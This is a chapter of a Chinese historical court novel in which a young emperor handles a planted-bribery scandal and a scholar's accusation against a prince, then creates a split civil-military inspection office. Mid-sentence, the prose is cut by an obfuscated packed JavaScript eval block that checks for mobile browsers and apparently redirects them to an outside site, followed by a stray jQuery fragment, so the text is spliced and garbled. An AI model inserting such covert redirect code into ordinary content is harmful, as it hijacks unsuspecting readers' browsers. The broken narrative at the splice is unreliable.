卯时正，太和殿。


    当三口沉重的樟木箱被禁军抬入汉白玉铺就的广场时，文官队列中响起一阵压抑的骚动。


    曹扣军站在队列前端，面色阴沉。


    他身后，陇西派系的官员们交换着隐秘的眼神，俱是惊疑不定——这种授人以柄的蠢事，真不是他们做的。


    萧翊端坐龙椅，听完吴全顺的奏报，并未如夏翀预想般立刻雷霆震怒。


    年轻帝王的指尖在鎏金扶手上轻轻叩击两下，目光如沉静的深潭，投向文官队列之首：“谢太傅，你怎么看？”


    这一问，让夏翀心头一沉。


    皇上把难题先抛给自己的老师，这本身就是一种态度：此事棘手，需先探探重臣的口风。


    谢停云颤巍巍出列，雪白的胡须在晨光中微微颤动。


    他沉吟片刻，声音苍老却清晰：“夏大人公心可鉴，当众晒金以证清白，老臣敬佩。然……”


    这个“然”字，让夏翀的心悬了起来。


    “三箱金子来历不明，若贸然兴大狱彻查，牵连必广。今科会试在即，数千学子齐聚京城，此时掀起波澜，恐会动摇士林人心，寒了天下学子的向学之志。”


    谢停云顿了顿，语重心长，“老臣以为，不如先将金子封存内库，待会试结束、学子散尽，再行详查。以免……惊扰了抡才大典的祥和之气。”


    ——这是“拖”字诀。


    夏翀听懂了。


    谢停云并非反对查，而是深知科举牵一发而动全身。他是为了大局的“稳”，哪怕这“稳”要牺牲当下的公正。


    “太傅此言差矣！”


    出言反驳的竟是礼部右侍郎郑沅。这个平日不显山露水的中年官员，此刻激动得脸膛发红，声音因激愤而微微发颤：“此风绝不可长！若今日有人敢以三箱金子试探阅卷官，明日就敢以十箱、百箱买通考官！科场清誉何在？朝廷体统何在？”


    他越说越激动，竟向前一步，朝御座深深一揖：“臣请陛下立下严旨，彻查此案！揪出幕后黑手，明正典刑，以儆效尤！”


    郑沅说得慷慨激昂，唾沫星子几乎溅到前排官员的脸上。夏翀却敏锐地注意到，站在队伍前方的曹扣军几不可察地皱了下眉——那是种被冒犯的不悦。


    郑沅是礼部的人，曹扣军的下属。此刻却跳出来主张严查，看来曹党内部，也不是铁板一块。


    没等夏翀细想，又有数名言官出列附和郑沅。


    一时间，“严查”、“肃清”、“以正视听”之声占了上风，在巍峨的大殿中回荡。


    萧翊依旧不置可否。他缓缓转过视线，目光如探针般刺向另一个关键人物：“曹尚书，你是今科主考，你以为呢？”


    曹扣军出列，步伐沉稳，带着久居高位者的从容：“陛下，臣以为，当查。”


    他先定下基调，随即话锋一转：“但不可因噎废食。今科会试乃陛下登基后首开恩科，意义非凡。若此刻大张旗鼓追查贿赂案，风声鹤唳，人人自危，反伤了朝廷取士的祥和之气。”


    他抬眼看向御座，眼神诚恳：“不如依谢太傅所言，先封存证物，稳定人心。待会试结束、榜单尘埃落定，再由三司会审，徐徐图之。如此，既不误抡才大典，又能给天下人一个交代。”


    ——这是“缓”字诀。


    夏翀心中冰凉。曹扣军看似支持查，却把时间线不动声色地拉长到会试之后。一个月，足以让许多痕迹消失，许多人串供，许多“意外”发生。


    他忽然明白了皇上的处境：谢停云求“稳”，曹扣军求“缓”，而底下那些叫嚣“严查”的官员，动机未明——是真为公义，还是想借机排除异己？


    皇上若强行推动彻查，就是与整个文官集团的惯性为敌。


    就在此时，殿外传来通传——


    “宣人证邓书满、刑录、韩孝闻觐见！”


    三人鱼贯而入。


    青衫布履在满殿朱紫蟒袍的映衬下，显得格外单薄刺目。他们显然从未见过这等阵仗，跨过高高的门槛时，刑录的腿明显软了一下，被邓书满暗中扶住。


    跪拜时，三人的手臂都在微微发颤。


    萧翊温声道：“抬起头来。昨夜之事，尔等细细道来，不必惊慌。”


    邓书满性子最直，深吸一口气，抢先开口。他将昨夜所见所闻一一道来：那三口箱子如何突兀出现、夏翀如何敲锣聚众、如何在凛冽寒风中守了一夜……说到激动处，他的声音渐渐拔高：


    “学生等虽出身寒微，却也读圣贤书！夏大人若真有贪念，何必如此大张旗鼓、自曝其短？这分明是有人要构陷忠良，玷污科场清誉！”


    韩孝闻连忙补充细节，言辞谨慎却条理清晰，将时间、地点、人物一一说清。


    轮到刑录时，这面容肃穆的书生忽然重重叩首，前额触在冰凉的金砖上，发出沉闷一响。


    “皇上！”他抬起头，眼中燃烧着一种近乎悲愤的光，“学生昨夜守金时，曾与夏大人、宋大人谈及科场积弊。今日既得见天颜，学生斗胆——要告第二桩状！”


    满殿哗然。


    曹扣军厉声喝道：“放肆！一介布衣，安敢在朝堂上——”


    “让他说。”


    萧翊的声音不高，却像一柄无形的利刃，瞬间斩断了所有嘈杂。大殿顷刻间静得能听见烛火摇曳的细微声响。


    刑录的喉结滚动了一下，声音因激动而嘶哑：“学生要告南襄王！告他在江陵强占民田三千亩，拆毁民宅百余间，逼得五十户百姓流离失所！告他私扩藩邸，规格逾制，所用石材木料皆从江陵百姓手中强征，分文不给！”


    他每说一句，底下就有臣子的脸色白一分。几个站在后排的官员悄悄向后挪了半步，仿佛要与他划清界限。


    “月前，江陵学子联名上书，状纸递到通政司便石沉大海！”刑录的声音愈发激越，“皇上只罚了江陵总督的俸禄，可南襄王呢？”


    他猛地抬头，目光如炬：“学生今日冒死再问——‘亲王犯法，与庶民同罪’，此言可是虚设？！朝廷法度，可是只为管束平民百姓？！”


    死寂。


    萧翊沉默地看着这个跪在殿中的书生。晨光从高大的殿门斜射进来，在刑录青衫上投下一道明亮的光斑，衬得他整个人如一把出鞘的剑。


    良久，萧翊忽然轻笑一声。


    那笑声很轻，却让满朝文武心头一寒。


    “刑录，”年轻帝王缓缓开口，每个字都咬得清晰，“你可知，诬告亲王，是何罪？”


    “学生知道。”刑录昂首，脖颈绷出倔强的线条，“杖一百，流三千里。但学生手中，有江陵三百户百姓的联名血书，有被强占田地的地契副本，有南襄王府的逾制图纸——”


    他从怀中取出一卷厚厚的文书，纸张边缘已经磨损泛黄。他双手高举过头顶，声音斩钉截铁：“今日既敢开口，便已将生死置之度外！若有一句虚言，甘受极刑！”


    吴全顺快步下阶，接过那卷沉甸甸的血书，躬身呈至御前。


    萧翊展开册子。第一页，密密麻麻的暗红色指印触目惊心，像无数双绝望的眼睛。他一页页翻过去，翻得很慢，殿内只余纸张摩擦的沙沙声，以及某些官员压抑的呼吸声。


    翻到最后一页，他合上册子，抬眼看向刑录：“你是个不怕死的。”


    刑录梗着脖子：“学生只怕死得不明不白！”


    “好。”


    萧翊将血书轻轻搁在紫檀御案上，目光如鹰隼般扫过满殿文武。那目光所及之处，官员们纷纷垂首，不敢直视。


    “昨夜夏翀府前晒金，今日刑录殿前告状。”年轻帝王的声音在大殿中回荡，带着某种沉甸甸的重量，“一桩关乎科场清白，一桩关乎宗室法度。诸卿以为，朕当如何处置？”


    殿内的气氛陡然变了。


    先前那些慷慨激昂主张“严查金子案”的官员们，此刻却集体失声。


    力主严查的郑沅也垂着头，盯着自己官靴上精致的云纹，仿佛那纹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908791|192431||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    路里藏着什么玄机。


    夏翀看着这戏剧性的沉默，心中豁然开朗：原来如此。


    皇上等的不是有人提“贿赂”，而是有人把“贿赂”背后的根本问题——科举不公、土地兼并、宗室特权——当众撕开，血淋淋地摊在阳光下。


    只有把问题上升到这个层面，“改革”才有了不得不行的理由。那些只敢在“安全范围”内叫嚷的官员，在真正的硬骨头面前，立刻现了原形。


    萧翊终于再次开口。他没有立刻对南襄王案表态，而是先抛出了一个试探性的方案：


    “既然众卿对金子案各执一词，朕有个折中之法——设立‘翰林督查班’，专司受理科举期间一切舞弊举报。凡有学子举报，督查班须三日内查实回复，如何？”


    “陛下圣明！”夏翀、宋方程立刻带头高声附和。他们看懂了皇上的棋路：先建立机制，再徐徐图之。


    刑录三人被带下殿去，青衫背影消失在巍峨的殿门外。


    曹扣军却再次出列，声音沉稳中透着反对：“陛下，此举恐会滋生小人诬告之风，扰乱考场秩序。且督查班权力过大，若无制衡，恐成祸端，反为科场之害。”


    “曹尚书多虑了。”


    赵羯洪亮的声音骤然响起。这位禁军统领大步出列，铠甲铿锵：“末将愿领禁军百名精锐，专司护卫考场、缉拿舞弊！至于诬告——”他豹眼圆睁，“查实者赏，诬告者罚，天经地义！末将倒要看看，哪个宵小敢在禁军眼皮底下耍花样！”


    “武夫安知文事？”曹扣军身后，一位御史忍不住冷笑出声，“科举乃抡才大典，清静之地，岂容兵戈介入，玷污斯文？”


    “玷污？”赵羯转身怒视，声如洪钟，“若斯文就是收受贿赂、买卖题目、坑害寒门学子，那这斯文——”他猛地提高音量，“不要也罢！”


    “你——！”


    眼看又要吵成一团，萧翊忽然抬手。


    只是一个简单的动作，满殿瞬间寂静。


    “既然曹卿担心权力失衡，那督查班便分设文武两司。武司由赵统领负责，领禁军百人，专司考场护卫、缉拿舞弊；文司……”


    他的目光在文官队列中缓缓扫过，如同在挑选一柄最合适的刀。


    最终，目光落在了一个人身上。


    “文司由吏部侍郎周明堂统领。”


    殿内顿时一静。


    周明堂，出身江南寒门，凭真才实学一步步爬到侍郎之位，是朝中有名的“不通人情”、“刻板守规”。


    更重要的是——他与曹扣军不睦已久。三年前一次朝议，周明堂当众驳斥曹扣军“用人唯亲”，两人几乎在殿上撕破脸皮。


    这是个极其狡猾的安排：用寒门出身的周明堂制衡主考官曹扣军，又用周明堂的“刻板”来保证文司不会徇私舞弊。


    而赵羯的武司，则确保了执行力度。


    曹党官员的脸色难看至极，却无法反驳——皇上用的是“制衡”之策，冠冕堂皇，无懈可击。


    周明堂出列，面容瘦削严肃，躬身道：“臣领旨。必秉公执法，不负圣恩。”


    曹扣军硬着头皮，再次开口：“皇上圣明！至于南襄王案……”


    他斟酌着词句，“毕竟是皇室宗亲，即便有所逾矩，也当时光降旨申饬，徐徐图之。骤然严查，恐伤皇室体面，亦让藩王不安——”


    “曹尚书。”


    萧翊打断他，语气陡然转冷，如腊月寒风刮过殿宇。


    “朕登基那日，曾于太庙前立誓：‘法行于贱而屈于贵，天下将何所措手足？’此言，你可还记得？”


    曹扣军额角渗出细密汗珠，声音发紧：“臣……记得。”


    “记得就好。”


    萧翊缓缓站起身。玄色龙袍在晨光中泛起幽暗的光泽，绣金蟠龙仿佛要破衣而出。年轻帝王的身影在御座前拉出长长的影子，笼罩了半个大殿。


    “今日，朕便让天下人看看，朕的‘徐徐图之’，是什么样子。”